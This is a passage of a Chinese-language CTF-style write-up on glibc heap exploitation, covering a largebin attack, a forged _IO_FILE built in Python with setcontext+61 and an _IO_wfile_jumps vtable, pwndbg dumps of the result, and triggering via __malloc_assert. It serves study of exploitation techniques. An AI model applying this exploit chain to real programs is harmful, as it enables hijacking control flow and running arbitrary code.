Addr: 0x5609eb575f60
Size: 0x420
Allocated chunk | PREV_INUSE
Addr: 0x5609eb576380
Size: 0x441
Allocated chunk | PREV_INUSE
Addr: 0x5609eb5767c0
Size: 0x471
Top chunk | PREV_INUSE
Addr: 0x5609eb576c30
Size: 0x1f3d1

接下来就是获取到_IO_list_all 的位置,然后进行伪造 iofile

伪造的模板,作者已经提供了,这里是用到了 setcontext 进行参数的设置,我们需要手动更改下 fake_io_addr 的地址为我们控制的 chunk 地址,这里就是 largebin attack 生效的攻击地址。

fake_io_addr=heapbase+0xb00
next_chain = 0
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)#
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

伪造好后的_io_file

pwndbg> p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7f85fb7ee680 <_IO_list_all>
pwndbg> p *(struct _IO_FILE_plus **) 0x7f85fb7ee680 
$2 = (struct _IO_FILE_plus *) 0x563e47a6c370
pwndbg> p*(struct _IO_FILE_plus *) 0x563e47a6c370
$3 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x451 <error: Cannot access memory at address 0x451>,
    _IO_read_end = 0x7f85fb7ee0e0 <main_arena+1120> "\320\340~\373\205\177",
    _IO_read_base = 0x563e47a6b290 "",
    _IO_write_base = 0x563e47a6b290 "",
    _IO_write_ptr = 0x7f85fb7ee660 <_nl_global_locale+224> "\327\341z\373\205\177",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x563e47a6c420 "",
    _IO_save_end = 0x7f85fb627a6d <setcontext+61> "H\213\242\240",
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x563e47a6c000,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x563e47a6c3a0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7f85fb7ea0e0 <_IO_wfile_jumps+32>
}

接下来就是如何触发 exit,利用__malloc_assert 报错,这里可以修改 topchunk 的 size 进行报错。这里依旧可以选择进行 largebin attack. 文章最开始有介绍如何进行连续的两次 attack 。